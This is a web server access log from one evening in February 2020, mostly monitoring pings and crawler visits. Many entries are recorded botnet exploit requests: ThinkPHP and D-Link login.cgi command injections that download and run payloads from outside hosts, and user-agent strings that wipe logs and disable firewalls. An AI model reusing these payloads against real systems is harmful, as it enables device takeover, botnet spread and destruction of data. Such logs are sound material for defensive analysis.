58.58.7.106 - - [17/Feb/2020:22:14:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.85.91.19 - - [17/Feb/2020:22:15:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:22:15:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
13.66.248.105 - - [17/Feb/2020:22:17:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:22:18:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [17/Feb/2020:22:23:25 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [17/Feb/2020:22:23:28 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:22:23:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.20.222.185 - - [17/Feb/2020:22:23:34 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
115.20.222.185 - - [17/Feb/2020:22:23:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
54.196.69.234 - - [17/Feb/2020:22:23:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36"
115.20.222.185 - - [17/Feb/2020:22:24:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:22:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
145.220.15.155 - - [17/Feb/2020:22:24:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36"
109.102.226.187 - - [17/Feb/2020:22:25:12 +0100] "GET / HTTP/1.1" 400 6180 "-" "-"
148.251.92.39 - - [17/Feb/2020:22:25:12 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
148.251.92.39 - - [17/Feb/2020:22:25:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)"
212.91.246.72 - - [17/Feb/2020:22:25:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:26:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:27:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:28:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:29:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:30:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:31:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:32:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.189.200.210 - - [17/Feb/2020:22:32:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:22:33:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:35:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.134.18.204 - - [17/Feb/2020:22:36:08 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:22:36:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:37:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.68.246.198 - - [17/Feb/2020:22:38:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [17/Feb/2020:22:38:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.240.205.34 - - [17/Feb/2020:22:40:26 +0100] "Gh0st\xad" 501 321 "-" "-"
212.91.246.72 - - [17/Feb/2020:22:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:41:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.235.87.6 - - [17/Feb/2020:22:43:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
58.189.208.61 - - [17/Feb/2020:22:43:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [17/Feb/2020:22:44:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
210.7.18.89 - - [17/Feb/2020:22:45:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
31.217.212.198 - - [17/Feb/2020:22:46:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:22:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.148.46.4 - - [17/Feb/2020:22:47:59 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
81.16.119.96 - - [17/Feb/2020:22:48:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
81.16.119.96 - - [17/Feb/2020:22:48:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
81.16.119.96 - - [17/Feb/2020:22:48:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:22:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.16.119.96 - - [17/Feb/2020:22:48:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
81.16.119.96 - - [17/Feb/2020:22:49:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:22:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.77.51.27 - - [17/Feb/2020:22:49:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:22:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:51:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.102.226.187 - - [17/Feb/2020:22:53:59 +0100] "GET / HTTP/1.1" 400 6170 "-" "-"
81.10.10.164 - - [17/Feb/2020:22:54:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:22:54:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.214.220.73 - - [17/Feb/2020:22:54:48 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:22:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [17/Feb/2020:22:55:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [17/Feb/2020:22:55:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [17/Feb/2020:22:56:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.121.0.69 - - [17/Feb/2020:22:56:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:22:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.121.0.69 - - [17/Feb/2020:22:56:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
186.79.155.224 - - [17/Feb/2020:22:57:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [17/Feb/2020:22:57:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:59:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [17/Feb/2020:23:01:34 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
66.249.69.160 - - [17/Feb/2020:23:01:35 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.69.160 - - [17/Feb/2020:23:01:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [17/Feb/2020:23:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.61.15.10 - - [17/Feb/2020:23:04:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
193.57.40.38 - - [17/Feb/2020:23:05:28 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:23:05:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:06:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:07:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:08:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:09:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:10:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:11:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:12:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.236.4.229 - - [17/Feb/2020:23:13:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:23:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:14:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:15:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [17/Feb/2020:23:15:47 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:23:16:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:17:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.163.131.89 - - [17/Feb/2020:23:17:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
71.77.51.27 - - [17/Feb/2020:23:17:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
145.220.15.229 - - [17/Feb/2020:23:18:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36"
78.85.48.168 - - [17/Feb/2020:23:18:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:23:18:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:19:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [17/Feb/2020:23:19:55 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:23:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:21:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [17/Feb/2020:23:23:14 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:23:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:24:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:23:25:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
76.76.247.126 - - [17/Feb/2020:23:25:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:23:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
